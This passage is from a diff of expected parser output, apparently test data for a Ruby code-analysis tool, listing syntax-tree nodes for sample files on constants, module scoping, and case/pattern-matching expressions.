+#   78| [Comment] # in a BEGIN block
+#   81| [Comment] # in an END block
+#   84| [Comment] # both operands of a binary operation
+#   87| [Comment] # unary operand
+#   91| [Comment] # in a curly brace block
+#   94| [Comment] # in a do-end block
+#  100| [Comment] # the receiver in a call can itself be a call
+#  104| [Comment] # the value for a case expr
+#  105| [Comment] # and the when pattern and body
+#  115| [Comment] # in a class definition
+#  121| [Comment] # in a superclass
+#  127| [Comment] # in a singleton class value or body
+#  135| [Comment] # in a method body
+#  141| [Comment] # in a singleton method object or body
+#  147| [Comment] # in the default value for a keyword parameter
+#  153| [Comment] # in the default value for an optional parameter
+#  159| [Comment] # in a module
+#  165| [Comment] # ternary if: condition, consequence, and alternative can all be calls
+#  169| [Comment] # if/elsif/else conditions and bodies
+#  185| [Comment] # if-modifier condition/body
+#  189| [Comment] # unless condition/body
+#  197| [Comment] # unless-modifier condition/body
+#  201| [Comment] # while loop condition/body
+#  209| [Comment] # while-modifier loop condition/body
+#  213| [Comment] # until loop condition/body
+#  221| [Comment] # until-modifier loop condition/body
+#  225| [Comment] # the collection being iterated over in a for loop, and the body
+#  233| [Comment] # in an array indexing operation, both the object and the index can be calls
+#  237| [Comment] # interpolation
+#  240| [Comment] # the scope in a scope resolution
+#  244| [Comment] # in a range
+#  248| [Comment] # the key/value in a hash pair
+#  251| [Comment] # rescue exceptions and ensure
+#  261| [Comment] # rescue-modifier body and handler
+#  265| [Comment] # block argument
+#  269| [Comment] # splat argument
+#  273| [Comment] # hash-splat argument
+#  277| [Comment] # the value in a keyword argument
+#  281| [Comment] # ------------------------------------------------------------------------------
+#  282| [Comment] # calls to `super`
+#  297| [Comment] # ------------------------------------------------------------------------------
+#  298| [Comment] # calls to methods simply named `super`, i.e. *not* calls to the same method in
+#  299| [Comment] # a parent classs, so these should be Call but not SuperCall
+#  305| [Comment] # we expect the receiver to be a SuperCall, while the outer call should not (it's just a regular Call)
+#  309| [Comment] # calls without method name
+#  313| [Comment] # setter calls
+#  322| [Comment] # endless method definitions
+#  330| [Comment] # forward parameter and forwarded arguments
+#  339| [Comment] # for loop over nested array
+#  349| [Comment] # calls inside lambdas
+#  360| [Comment] # calls with various call operators
+constants/constants.rb:
+#    1| [Program] Program
+#    1|   0: [Module] Module
+#    1|     0: [ReservedWord] module
+#    1|     1: [Constant] ModuleA
+#    2|     2: [Class] Class
+#    2|       0: [ReservedWord] class
+#    2|       1: [Constant] ClassA
+#    3|       2: [Assignment] Assignment
+#    3|         0: [Constant] CONST_A
+#    3|         1: [ReservedWord] =
+#    3|         2: [String] String
+#    3|           0: [ReservedWord] "
+#    3|           1: [StringContent] const_a
+#    3|           2: [ReservedWord] "
+#    4|       3: [ReservedWord] end
+#    6|     3: [Assignment] Assignment
+#    6|       0: [Constant] CONST_B
+#    6|       1: [ReservedWord] =
+#    6|       2: [String] String
+#    6|         0: [ReservedWord] "
+#    6|         1: [StringContent] const_b
+#    6|         2: [ReservedWord] "
+#    8|     4: [Module] Module
+#    8|       0: [ReservedWord] module
+#    8|       1: [Constant] ModuleB
+#    9|       2: [Class] Class
+#    9|         0: [ReservedWord] class
+#    9|         1: [Constant] ClassB
+#    9|         2: [Superclass] Superclass
+#    9|           0: [ReservedWord] <
+#    9|           1: [Constant] Base
+#   10|         3: [ReservedWord] end
+#   12|       3: [Class] Class
+#   12|         0: [ReservedWord] class
+#   12|         1: [Constant] ClassC
+#   12|         2: [Superclass] Superclass
+#   12|           0: [ReservedWord] <
+#   12|           1: [ScopeResolution] ScopeResolution
+#   12|             0: [ScopeResolution] ScopeResolution
+#   12|               0: [Constant] X
+#   12|               1: [ReservedWord] ::
+#   12|               2: [Constant] Y
+#   12|             1: [ReservedWord] ::
+#   12|             2: [Constant] Z
+#   13|         3: [ReservedWord] end
+#   14|       4: [ReservedWord] end
+#   15|     5: [ReservedWord] end
+#   17|   1: [Assignment] Assignment
+#   17|     0: [Constant] GREETING
+#   17|     1: [ReservedWord] =
+#   17|     2: [Binary] Binary
+#   17|       0: [Binary] Binary
+#   17|         0: [String] String
+#   17|           0: [ReservedWord] '
+#   17|           1: [StringContent] Hello
+#   17|           2: [ReservedWord] '
+#   17|         1: [ReservedWord] +
+#   17|         2: [ScopeResolution] ScopeResolution
+#   17|           0: [ScopeResolution] ScopeResolution
+#   17|             0: [Constant] ModuleA
+#   17|             1: [ReservedWord] ::
+#   17|             2: [Constant] ClassA
+#   17|           1: [ReservedWord] ::
+#   17|           2: [Constant] CONST_A
+#   17|       1: [ReservedWord] +
+#   17|       2: [ScopeResolution] ScopeResolution
+#   17|         0: [Constant] ModuleA
+#   17|         1: [ReservedWord] ::
+#   17|         2: [Constant] CONST_B
+#   19|   2: [Method] Method
+#   19|     0: [ReservedWord] def
+#   19|     1: [Identifier] foo
+#   20|     2: [Assignment] Assignment
+#   20|       0: [Constant] Names
+#   20|       1: [ReservedWord] =
+#   20|       2: [Array] Array
+#   20|         0: [ReservedWord] [
+#   20|         1: [String] String
+#   20|           0: [ReservedWord] '
+#   20|           1: [StringContent] Vera
+#   20|           2: [ReservedWord] '
+#   20|         2: [ReservedWord] ,
+#   20|         3: [String] String
+#   20|           0: [ReservedWord] '
+#   20|           1: [StringContent] Chuck
+#   20|           2: [ReservedWord] '
+#   20|         4: [ReservedWord] ,
+#   20|         5: [String] String
+#   20|           0: [ReservedWord] '
+#   20|           1: [StringContent] Dave
+#   20|           2: [ReservedWord] '
+#   20|         6: [ReservedWord] ]
+#   22|     3: [Call] Call
+#   22|       0: [Constant] Names
+#   22|       1: [ReservedWord] .
+#   22|       2: [Identifier] each
+#   22|       3: [DoBlock] DoBlock
+#   22|         0: [ReservedWord] do
+#   22|         1: [BlockParameters] BlockParameters
+#   22|           0: [ReservedWord] |
+#   22|           1: [Identifier] name
+#   22|           2: [ReservedWord] |
+#   23|         2: [Call] Call
+#   23|           0: [Identifier] puts
+#   23|           1: [ArgumentList] ArgumentList
+#   23|             0: [String] String
+#   23|               0: [ReservedWord] "
+#   23|               1: [Interpolation] Interpolation
+#   23|                 0: [ReservedWord] #{
+#   23|                 1: [Constant] GREETING
+#   23|                 2: [ReservedWord] }
+#   23|               2: [StringContent]  
+#   23|               3: [Interpolation] Interpolation
+#   23|                 0: [ReservedWord] #{
+#   23|                 1: [Identifier] name
+#   23|                 2: [ReservedWord] }
+#   23|               4: [ReservedWord] "
+#   24|         3: [ReservedWord] end
+#   28|     4: [Call] Call
+#   28|       0: [Constant] Array
+#   28|       1: [ArgumentList] ArgumentList
+#   28|         0: [ReservedWord] (
+#   28|         1: [String] String
+#   28|           0: [ReservedWord] '
+#   28|           1: [StringContent] foo
+#   28|           2: [ReservedWord] '
+#   28|         2: [ReservedWord] )
+#   29|     5: [ReservedWord] end
+#   31|   3: [Class] Class
+#   31|     0: [ReservedWord] class
+#   31|     1: [ScopeResolution] ScopeResolution
+#   31|       0: [Constant] ModuleA
+#   31|       1: [ReservedWord] ::
+#   31|       2: [Constant] ClassD
+#   31|     2: [Superclass] Superclass
+#   31|       0: [ReservedWord] <
+#   31|       1: [ScopeResolution] ScopeResolution
+#   31|         0: [Constant] ModuleA
+#   31|         1: [ReservedWord] ::
+#   31|         2: [Constant] ClassA
+#   32|     3: [Assignment] Assignment
+#   32|       0: [Constant] FOURTY_TWO
+#   32|       1: [ReservedWord] =
+#   32|       2: [Integer] 42
+#   33|     4: [ReservedWord] end
+#   35|   4: [Module] Module
+#   35|     0: [ReservedWord] module
+#   35|     1: [ScopeResolution] ScopeResolution
+#   35|       0: [Constant] ModuleA
+#   35|       1: [ReservedWord] ::
+#   35|       2: [Constant] ModuleC
+#   36|     2: [Assignment] Assignment
+#   36|       0: [Constant] FOURTY_THREE
+#   36|       1: [ReservedWord] =
+#   36|       2: [Integer] 43
+#   37|     3: [ReservedWord] end
+#   39|   5: [Assignment] Assignment
+#   39|     0: [ScopeResolution] ScopeResolution
+#   39|       0: [ScopeResolution] ScopeResolution
+#   39|         0: [Constant] ModuleA
+#   39|         1: [ReservedWord] ::
+#   39|         2: [Constant] ModuleB
+#   39|       1: [ReservedWord] ::
+#   39|       2: [Constant] MAX_SIZE
+#   39|     1: [ReservedWord] =
+#   39|     2: [Integer] 1024
+#   41|   6: [Call] Call
+#   41|     0: [Identifier] puts
+#   41|     1: [ArgumentList] ArgumentList
+#   41|       0: [ScopeResolution] ScopeResolution
+#   41|         0: [ScopeResolution] ScopeResolution
+#   41|           0: [Constant] ModuleA
+#   41|           1: [ReservedWord] ::
+#   41|           2: [Constant] ModuleB
+#   41|         1: [ReservedWord] ::
+#   41|         2: [Constant] MAX_SIZE
+#   43|   7: [Call] Call
+#   43|     0: [Identifier] puts
+#   43|     1: [ArgumentList] ArgumentList
+#   43|       0: [Constant] GREETING
+#   44|   8: [Call] Call
+#   44|     0: [Identifier] puts
+#   44|     1: [ArgumentList] ArgumentList
+#   44|       0: [ScopeResolution] ScopeResolution
+#   44|         0: [ReservedWord] ::
+#   44|         1: [Constant] GREETING
+#   46|   9: [Module] Module
+#   46|     0: [ReservedWord] module
+#   46|     1: [ScopeResolution] ScopeResolution
+#   46|       0: [Constant] ModuleA
+#   46|       1: [ReservedWord] ::
+#   46|       2: [Constant] ModuleB
+#   47|     2: [Class] Class
+#   47|       0: [ReservedWord] class
+#   47|       1: [Constant] ClassB
+#   47|       2: [Superclass] Superclass
+#   47|         0: [ReservedWord] <
+#   47|         1: [Constant] Base
+#   48|       3: [Assignment] Assignment
+#   48|         0: [Constant] FOURTY_ONE
+#   48|         1: [ReservedWord] =
+#   48|         2: [Integer] 41
+#   49|       4: [ReservedWord] end
+#   50|     3: [ReservedWord] end
+#   52|   10: [Module] Module
+#   52|     0: [ReservedWord] module
+#   52|     1: [Constant] ModuleA
+#   53|     2: [Assignment] Assignment
+#   53|       0: [Constant] FOURTY_FOUR
+#   53|       1: [ReservedWord] =
+#   53|       2: [String] String
+#   53|         0: [ReservedWord] "
+#   53|         1: [StringContent] fourty-four
+#   53|         2: [ReservedWord] "
+#   54|     3: [Class] Class
+#   54|       0: [ReservedWord] class
+#   54|       1: [ScopeResolution] ScopeResolution
+#   54|         0: [Constant] ModuleB
+#   54|         1: [ReservedWord] ::
+#   54|         2: [Constant] ClassB
+#   54|       2: [Superclass] Superclass
+#   54|         0: [ReservedWord] <
+#   54|         1: [Constant] Base
+#   55|       3: [Assignment] Assignment
+#   55|         0: [ClassVariable] @@fourty_four
+#   55|         1: [ReservedWord] =
+#   55|         2: [Constant] FOURTY_FOUR
+#   56|       4: [Assignment] Assignment
+#   56|         0: [Constant] FOURTY_FOUR
+#   56|         1: [ReservedWord] =
+#   56|         2: [Integer] 44
+#   57|       5: [Assignment] Assignment
+#   57|         0: [ClassVariable] @@fourty_four
+#   57|         1: [ReservedWord] =
+#   57|         2: [Constant] FOURTY_FOUR
+#   58|       6: [ReservedWord] end
+#   59|     4: [ReservedWord] end
+#   61|   11: [Module] Module
+#   61|     0: [ReservedWord] module
+#   61|     1: [Constant] Mod1
+#   62|     2: [Module] Module
+#   62|       0: [ReservedWord] module
+#   62|       1: [Constant] Mod3
+#   63|       2: [Assignment] Assignment
+#   63|         0: [Constant] FOURTY_FIVE
+#   63|         1: [ReservedWord] =
+#   63|         2: [Integer] 45
+#   64|       3: [ReservedWord] end
+#   65|     3: [Assignment] Assignment
+#   65|       0: [ClassVariable] @@fourty_five
+#   65|       1: [ReservedWord] =
+#   65|       2: [ScopeResolution] ScopeResolution
+#   65|         0: [Constant] Mod3
+#   65|         1: [ReservedWord] ::
+#   65|         2: [Constant] FOURTY_FIVE
+#   66|     4: [ReservedWord] end
+#   68|   12: [Module] Module
+#   68|     0: [ReservedWord] module
+#   68|     1: [Constant] Mod4
+#   69|     2: [Call] Call
+#   69|       0: [Identifier] include
+#   69|       1: [ArgumentList] ArgumentList
+#   69|         0: [Constant] Mod1
+#   70|     3: [Module] Module
+#   70|       0: [ReservedWord] module
+#   70|       1: [ScopeResolution] ScopeResolution
+#   70|         0: [Constant] Mod3
+#   70|         1: [ReservedWord] ::
+#   70|         2: [Constant] Mod5
+#   71|       2: [Assignment] Assignment
+#   71|         0: [Constant] FOURTY_SIX
+#   71|         1: [ReservedWord] =
+#   71|         2: [Integer] 46
+#   72|       3: [ReservedWord] end
+#   73|     4: [Assignment] Assignment
+#   73|       0: [ClassVariable] @@fourty_six
+#   73|       1: [ReservedWord] =
+#   73|       2: [ScopeResolution] ScopeResolution
+#   73|         0: [Constant] Mod3
+#   73|         1: [ReservedWord] ::
+#   73|         2: [Constant] FOURTY_SIX
+#   74|     5: [ReservedWord] end
+#   26| [Comment] # A call to Kernel::Array; despite beginning with an upper-case character,
+#   27| [Comment] # we don't consider this to be a constant access.
+#   55| [Comment] # refers to ::ModuleA::FOURTY_FOUR
+#   57| [Comment] # refers to ::ModuleA::ModuleB::ClassB::FOURTY_FOUR
+control/cases.rb:
+#    1| [Program] Program
+#    2|   0: [Assignment] Assignment
+#    2|     0: [Identifier] a
+#    2|     1: [ReservedWord] =
+#    2|     2: [Integer] 0
+#    3|   1: [Assignment] Assignment
+#    3|     0: [Identifier] b
+#    3|     1: [ReservedWord] =
+#    3|     2: [Integer] 0
+#    4|   2: [Assignment] Assignment
+#    4|     0: [Identifier] c
+#    4|     1: [ReservedWord] =
+#    4|     2: [Integer] 0
+#    5|   3: [Assignment] Assignment
+#    5|     0: [Identifier] d
+#    5|     1: [ReservedWord] =
+#    5|     2: [Integer] 0
+#    8|   4: [Case] Case
+#    8|     0: [ReservedWord] case
+#    8|     1: [Identifier] a
+#    9|     2: [When] When
+#    9|       0: [ReservedWord] when
+#    9|       1: [Pattern] Pattern
+#    9|         0: [Identifier] b
+#    9|       2: [Then] Then
+#   10|         0: [Integer] 100
+#   11|     3: [When] When
+#   11|       0: [ReservedWord] when
+#   11|       1: [Pattern] Pattern
+#   11|         0: [Identifier] c
+#   11|       2: [ReservedWord] ,
+#   11|       3: [Pattern] Pattern
+#   11|         0: [Identifier] d
+#   11|       4: [Then] Then
+#   12|         0: [Integer] 200
+#   13|     4: [Else] Else
+#   13|       0: [ReservedWord] else
+#   14|       1: [Integer] 300
+#   15|     5: [ReservedWord] end
+#   18|   5: [Case] Case
+#   18|     0: [ReservedWord] case
+#   19|     1: [When] When
+#   19|       0: [ReservedWord] when
+#   19|       1: [Pattern] Pattern
+#   19|         0: [Binary] Binary
+#   19|           0: [Identifier] a
+#   19|           1: [ReservedWord] >
+#   19|           2: [Identifier] b
+#   19|       2: [Then] Then
+#   19|         0: [ReservedWord] then
+#   19|         1: [Integer] 10
+#   20|     2: [When] When
+#   20|       0: [ReservedWord] when
+#   20|       1: [Pattern] Pattern
+#   20|         0: [Binary] Binary
+#   20|           0: [Identifier] a
+#   20|           1: [ReservedWord] ==
+#   20|           2: [Identifier] b
+#   20|       2: [Then] Then
+#   20|         0: [ReservedWord] then
+#   20|         1: [Integer] 20
+#   21|     3: [When] When
+#   21|       0: [ReservedWord] when
+#   21|       1: [Pattern] Pattern
+#   21|         0: [Binary] Binary
+#   21|           0: [Identifier] a
+#   21|           1: [ReservedWord] <
+#   21|           2: [Identifier] b
+#   21|       2: [Then] Then
+#   21|         0: [ReservedWord] then
+#   21|         1: [Integer] 30
+#   22|     4: [ReservedWord] end
+#   26|   6: [CaseMatch] CaseMatch
+#   26|     0: [ReservedWord] case
+#   26|     1: [Identifier] expr
+#   27|     2: [InClause] InClause
+#   27|       0: [ReservedWord] in
+#   27|       1: [Integer] 5
+#   27|       2: [Then] Then
+#   27|         0: [ReservedWord] then
+#   27|         1: [True] true
+#   28|     3: [Else] Else
+#   28|       0: [ReservedWord] else
+#   28|       1: [False] false
+#   29|     4: [ReservedWord] end
+#   31|   7: [CaseMatch] CaseMatch
+#   31|     0: [ReservedWord] case
+#   31|     1: [Identifier] expr
+#   32|     2: [InClause] InClause
+#   32|       0: [ReservedWord] in
+#   32|       1: [Identifier] x
+#   32|       2: [UnlessGuard] UnlessGuard
+#   32|         0: [ReservedWord] unless
+#   32|         1: [Binary] Binary
+#   32|           0: [Identifier] x
+#   32|           1: [ReservedWord] <
+#   32|           2: [Integer] 0
+#   32|       3: [Then] Then
+#   33|         0: [ReservedWord] then
+#   33|         1: [True] true
+#   34|     3: [InClause] InClause
+#   34|       0: [ReservedWord] in
+#   34|       1: [Identifier] x
+#   34|       2: [IfGuard] IfGuard
+#   34|         0: [ReservedWord] if
+#   34|         1: [Binary] Binary
+#   34|           0: [Identifier] x
+#   34|           1: [ReservedWord] <
+#   34|           2: [Integer] 0
+#   34|       3: [Then] Then
+#   35|         0: [ReservedWord] then
+#   35|         1: [True] true
+#   36|     4: [Else] Else
+#   36|       0: [ReservedWord] else
+#   36|       1: [False] false
+#   37|     5: [ReservedWord] end
+#   39|   8: [CaseMatch] CaseMatch
+#   39|     0: [ReservedWord] case
+#   39|     1: [Identifier] expr
+#   40|     2: [InClause] InClause
+#   40|       0: [ReservedWord] in
+#   40|       1: [Integer] 5
+#   41|     3: [InClause] InClause
+#   41|       0: [ReservedWord] in
+#   41|       1: [ArrayPattern] ArrayPattern
+#   41|         0: [Integer] 5
+#   41|         1: [SplatParameter] SplatParameter
+#   42|     4: [InClause] InClause
+#   42|       0: [ReservedWord] in
+#   42|       1: [ArrayPattern] ArrayPattern
+#   42|         0: [Integer] 1
+#   42|         1: [ReservedWord] ,
+#   42|         2: [Integer] 2
+#   43|     5: [InClause] InClause
+#   43|       0: [ReservedWord] in
+#   43|       1: [ArrayPattern] ArrayPattern
+#   43|         0: [Integer] 1
+#   43|         1: [ReservedWord] ,
+#   43|         2: [Integer] 2
+#   43|         3: [SplatParameter] SplatParameter
+#   44|     6: [InClause] InClause
+#   44|       0: [ReservedWord] in
+#   44|       1: [ArrayPattern] ArrayPattern
+#   44|         0: [Integer] 1
+#   44|         1: [ReservedWord] ,
+#   44|         2: [Integer] 2
+#   44|         3: [ReservedWord] ,
+#   44|         4: [Integer] 3
+#   45|     7: [InClause] InClause
+#   45|       0: [ReservedWord] in
+#   45|       1: [ArrayPattern] ArrayPattern
+#   45|         0: [Integer] 1
+#   45|         1: [ReservedWord] ,
+#   45|         2: [Integer] 2
+#   45|         3: [ReservedWord] ,
+#   45|         4: [Integer] 3
+#   45|         5: [SplatParameter] SplatParameter
+#   46|     8: [InClause] InClause
+#   46|       0: [ReservedWord] in
+#   46|       1: [ArrayPattern] ArrayPattern
+#   46|         0: [Integer] 1
+#   46|         1: [ReservedWord] ,
+#   46|         2: [Integer] 2
+#   46|         3: [ReservedWord] ,
+#   46|         4: [Integer] 3
+#   46|         5: [ReservedWord] ,
+#   46|         6: [SplatParameter] SplatParameter
+#   46|           0: [ReservedWord] *
+#   47|     9: [InClause] InClause
+#   47|       0: [ReservedWord] in
+#   47|       1: [ArrayPattern] ArrayPattern
+#   47|         0: [Integer] 1
+#   47|         1: [ReservedWord] ,
+#   47|         2: [SplatParameter] SplatParameter
+#   47|           0: [ReservedWord] *
+#   47|           1: [Identifier] x
+#   47|         3: [ReservedWord] ,
+#   47|         4: [Integer] 3
+#   48|     10: [InClause] InClause
+#   48|       0: [ReservedWord] in
+#   48|       1: [ArrayPattern] ArrayPattern
+#   48|         0: [SplatParameter] SplatParameter
+#   48|           0: [ReservedWord] *
+#   49|     11: [InClause] InClause
+#   49|       0: [ReservedWord] in
+#   49|       1: [ArrayPattern] ArrayPattern
+#   49|         0: [SplatParameter] SplatParameter
+#   49|           0: [ReservedWord] *
+#   49|         1: [ReservedWord] ,
+#   49|         2: [Integer] 3
+#   49|         3: [ReservedWord] ,
+#   49|         4: [Integer] 4
+#   50|     12: [InClause] InClause
+#   50|       0: [ReservedWord] in
+#   50|       1: [FindPattern] FindPattern
+#   50|         0: [SplatParameter] SplatParameter
+#   50|           0: [ReservedWord] *
+#   50|         1: [ReservedWord] ,
+#   50|         2: [Integer] 3
+#   50|         3: [ReservedWord] ,
+#   50|         4: [SplatParameter] SplatParameter
+#   50|           0: [ReservedWord] *
+#   51|     13: [InClause] InClause
+#   51|       0: [ReservedWord] in
+#   51|       1: [FindPattern] FindPattern
+#   51|         0: [SplatParameter] SplatParameter
+#   51|           0: [ReservedWord] *
+#   51|           1: [Identifier] a
+#   51|         1: [ReservedWord] ,
+#   51|         2: [Integer] 3
+#   51|         3: [ReservedWord] ,
+#   51|         4: [SplatParameter] SplatParameter
+#   51|           0: [ReservedWord] *
+#   51|           1: [Identifier] b
+#   52|     14: [InClause] InClause
+#   52|       0: [ReservedWord] in
+#   52|       1: [HashPattern] HashPattern
+#   52|         0: [KeywordPattern] KeywordPattern
+#   52|           0: [HashKeySymbol] a
+#   52|           1: [ReservedWord] :
+#   53|     15: [InClause] InClause
+#   53|       0: [ReservedWord] in
+#   53|       1: [HashPattern] HashPattern
+#   53|         0: [KeywordPattern] KeywordPattern
+#   53|           0: [HashKeySymbol] a
+#   53|           1: [ReservedWord] :
+#   53|           2: [Integer] 5
+#   54|     16: [InClause] InClause
+#   54|       0: [ReservedWord] in
+#   54|       1: [HashPattern] HashPattern
+#   54|         0: [KeywordPattern] KeywordPattern
+#   54|           0: [HashKeySymbol] a
+#   54|           1: [ReservedWord] :
+#   54|           2: [Integer] 5
+#   54|         1: [ReservedWord] ,
+#   55|     17: [InClause] InClause
+#   55|       0: [ReservedWord] in
+#   55|       1: [HashPattern] HashPattern
+#   55|         0: [KeywordPattern] KeywordPattern
+#   55|           0: [HashKeySymbol] a
+#   55|           1: [ReservedWord] :
+#   55|           2: [Integer] 5
+#   55|         1: [ReservedWord] ,
+#   55|         2: [KeywordPattern] KeywordPattern
+#   55|           0: [HashKeySymbol] b
+#   55|           1: [ReservedWord] :
+#   55|         3: [ReservedWord] ,
+#   55|         4: [HashSplatParameter] HashSplatParameter
+#   55|           0: [ReservedWord] **
+#   56|     18: [InClause] InClause
+#   56|       0: [ReservedWord] in
+#   56|       1: [HashPattern] HashPattern
+#   56|         0: [KeywordPattern] KeywordPattern
+#   56|           0: [HashKeySymbol] a
+#   56|           1: [ReservedWord] :
+#   56|           2: [Integer] 5
+#   56|         1: [ReservedWord] ,
+#   56|         2: [KeywordPattern] KeywordPattern
+#   56|           0: [HashKeySymbol] b
+#   56|           1: [ReservedWord] :
+#   56|         3: [ReservedWord] ,
+#   56|         4: [HashSplatParameter] HashSplatParameter
+#   56|           0: [ReservedWord] **
+#   56|           1: [Identifier] map
+#   57|     19: [InClause] InClause
+#   57|       0: [ReservedWord] in
+#   57|       1: [HashPattern] HashPattern
+#   57|         0: [KeywordPattern] KeywordPattern
+#   57|           0: [HashKeySymbol] a
+#   57|           1: [ReservedWord] :
+#   57|           2: [Integer] 5
+#   57|         1: [ReservedWord] ,
+#   57|         2: [KeywordPattern] KeywordPattern
+#   57|           0: [HashKeySymbol] b
+#   57|           1: [ReservedWord] :
+#   57|         3: [ReservedWord] ,
+#   57|         4: [HashSplatNil] **nil
+#   57|           0: [ReservedWord] **
+#   57|           1: [ReservedWord] nil
+#   58|     20: [InClause] InClause
+#   58|       0: [ReservedWord] in
+#   58|       1: [HashPattern] HashPattern
+#   58|         0: [HashSplatNil] **nil
+#   58|           0: [ReservedWord] **
+#   58|           1: [ReservedWord] nil
+#   59|     21: [InClause] InClause
+#   59|       0: [ReservedWord] in
+#   59|       1: [ArrayPattern] ArrayPattern
+#   59|         0: [ReservedWord] [
+#   59|         1: [Integer] 5
+#   59|         2: [ReservedWord] ]
+#   60|     22: [InClause] InClause
+#   60|       0: [ReservedWord] in
+#   60|       1: [ArrayPattern] ArrayPattern
+#   60|         0: [ReservedWord] [
+#   60|         1: [Integer] 5
+#   60|         2: [SplatParameter] SplatParameter
+#   60|         3: [ReservedWord] ]
+#   61|     23: [InClause] InClause
+#   61|       0: [ReservedWord] in
+#   61|       1: [ArrayPattern] ArrayPattern
+#   61|         0: [ReservedWord] [
+#   61|         1: [Integer] 1
+#   61|         2: [ReservedWord] ,
+#   61|         3: [Integer] 2
+#   61|         4: [ReservedWord] ]
+#   62|     24: [InClause] InClause
+#   62|       0: [ReservedWord] in
+#   62|       1: [ArrayPattern] ArrayPattern
+#   62|         0: [ReservedWord] [
+#   62|         1: [Integer] 1
+#   62|         2: [ReservedWord] ,
+#   62|         3: [Integer] 2
+#   62|         4: [SplatParameter] SplatParameter
+#   62|         5: [ReservedWord] ]
+#   63|     25: [InClause] InClause
+#   63|       0: [ReservedWord] in
+#   63|       1: [ArrayPattern] ArrayPattern
+#   63|         0: [ReservedWord] [
+#   63|         1: [Integer] 1
+#   63|         2: [ReservedWord] ,
+#   63|         3: [Integer] 2
+#   63|         4: [ReservedWord] ,
+#   63|         5: [Integer] 3
+#   63|         6: [ReservedWord] ]
+#   64|     26: [InClause] InClause
+#   64|       0: [ReservedWord] in
+#   64|       1: [ArrayPattern] ArrayPattern
+#   64|         0: [ReservedWord] [
+#   64|         1: [Integer] 1
+#   64|         2: [ReservedWord] ,
+#   64|         3: [Integer] 2
+#   64|         4: [ReservedWord] ,
+#   64|         5: [Integer] 3
+#   64|         6: [SplatParameter] SplatParameter
+#   64|         7: [ReservedWord] ]
+#   65|     27: [InClause] InClause
+#   65|       0: [ReservedWord] in
+#   65|       1: [ArrayPattern] ArrayPattern
+#   65|         0: [ReservedWord] [
+#   65|         1: [Integer] 1
+#   65|         2: [ReservedWord] ,
+#   65|         3: [Integer] 2
+#   65|         4: [ReservedWord] ,
+#   65|         5: [Integer] 3
+#   65|         6: [ReservedWord] ,
+#   65|         7: [SplatParameter] SplatParameter
+#   65|           0: [ReservedWord] *
+#   65|         8: [ReservedWord] ]
+#   66|     28: [InClause] InClause
+#   66|       0: [ReservedWord] in
+#   66|       1: [ArrayPattern] ArrayPattern
+#   66|         0: [ReservedWord] [
+#   66|         1: [Integer] 1
+#   66|         2: [ReservedWord] ,
+#   66|         3: [SplatParameter] SplatParameter
+#   66|           0: [ReservedWord] *
+#   66|           1: [Identifier] x
+#   66|         4: [ReservedWord] ,
+#   66|         5: [Integer] 3
+#   66|         6: [ReservedWord] ]
+#   67|     29: [InClause] InClause
+#   67|       0: [ReservedWord] in
+#   67|       1: [ArrayPattern] ArrayPattern
+#   67|         0: [ReservedWord] [
+#   67|         1: [SplatParameter] SplatParameter
+#   67|           0: [ReservedWord] *
+#   67|         2: [ReservedWord] ]
+#   68|     30: [InClause] InClause
+#   68|       0: [ReservedWord] in
+#   68|       1: [ArrayPattern] ArrayPattern
+#   68|         0: [ReservedWord] [
+#   68|         1: [SplatParameter] SplatParameter
+#   68|           0: [ReservedWord] *
+#   68|           1: [Identifier] x
+#   68|         2: [ReservedWord] ,
+#   68|         3: [Integer] 3
+#   68|         4: [ReservedWord] ,
+#   68|         5: [Integer] 4
+#   68|         6: [ReservedWord] ]
+#   69|     31: [InClause] InClause
+#   69|       0: [ReservedWord] in
+#   69|       1: [FindPattern] FindPattern
+#   69|         0: [ReservedWord] [
+#   69|         1: [SplatParameter] SplatParameter
+#   69|           0: [ReservedWord] *
+#   69|         2: [ReservedWord] ,
+#   69|         3: [Integer] 3
+#   69|         4: [ReservedWord] ,
+#   69|         5: [SplatParameter] SplatParameter
+#   69|           0: [ReservedWord] *
+#   69|         6: [ReservedWord] ]
+#   70|     32: [InClause] InClause
+#   70|       0: [ReservedWord] in
+#   70|       1: [FindPattern] FindPattern
+#   70|         0: [ReservedWord] [
+#   70|         1: [SplatParameter] SplatParameter
+#   70|           0: [ReservedWord] *
+#   70|           1: [Identifier] a
+#   70|         2: [ReservedWord] ,
+#   70|         3: [Integer] 3
+#   70|         4: [ReservedWord] ,
+#   70|         5: [SplatParameter] SplatParameter
+#   70|           0: [ReservedWord] *
+#   70|           1: [Identifier] b
+#   70|         6: [ReservedWord] ]
+#   71|     33: [InClause] InClause
+#   71|       0: [ReservedWord] in
+#   71|       1: [HashPattern] HashPattern
+#   71|         0: [ReservedWord] {
+#   71|         1: [KeywordPattern] KeywordPattern
+#   71|           0: [HashKeySymbol] a
+#   71|           1: [ReservedWord] :
+#   71|         2: [ReservedWord] }
+#   72|     34: [InClause] InClause
+#   72|       0: [ReservedWord] in
+#   72|       1: [HashPattern] HashPattern
+#   72|         0: [ReservedWord] {
+#   72|         1: [KeywordPattern] KeywordPattern
+#   72|           0: [HashKeySymbol] a
+#   72|           1: [ReservedWord] :
+#   72|           2: [Integer] 5
+#   72|         2: [ReservedWord] }
+#   73|     35: [InClause] InClause
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+#  150|         1: [InstanceVariable] @foo
+#  150|       2: [ReservedWord] ;
+#  151|     5: [InClause] InClause
+#  151|       0: [ReservedWord] in
+#  151|       1: [VariableReferencePattern] VariableReferencePattern
+#  151|         0: [ReservedWord] ^
+#  151|         1: [ClassVariable] @@foo
+#  151|       2: [ReservedWord] ;
+#  152|     6: [ReservedWord] end
+#  154|   16: [CaseMatch] CaseMatch
+#  154|     0: [ReservedWord] case
+#  154|     1: [Identifier] expr
+#  155|     2: [InClause] InClause
+#  155|       0: [ReservedWord] in
+#  155|       1: [ExpressionReferencePattern] ExpressionReferencePattern
+#  155|         0: [ReservedWord] ^
+#  155|         1: [ReservedWord] (
+#  155|         2: [Identifier] foo
+#  155|         3: [ReservedWord] )
+#  155|       2: [ReservedWord] ;
+#  156|     3: [InClause] InClause
+#  156|       0: [ReservedWord] in
+#  156|       1: [ExpressionReferencePattern] ExpressionReferencePattern
+#  156|         0: [ReservedWord] ^
+#  156|         1: [ReservedWord] (
+#  156|         2: [InstanceVariable] @foo
+#  156|         3: [ReservedWord] )
+#  156|       2: [ReservedWord] ;
+#  157|     4: [InClause] InClause
+#  157|       0: [ReservedWord] in
+#  157|       1: [ExpressionReferencePattern] ExpressionReferencePattern
+#  157|         0: [ReservedWord] ^
+#  157|         1: [ReservedWord] (
+#  157|         2: [Binary] Binary
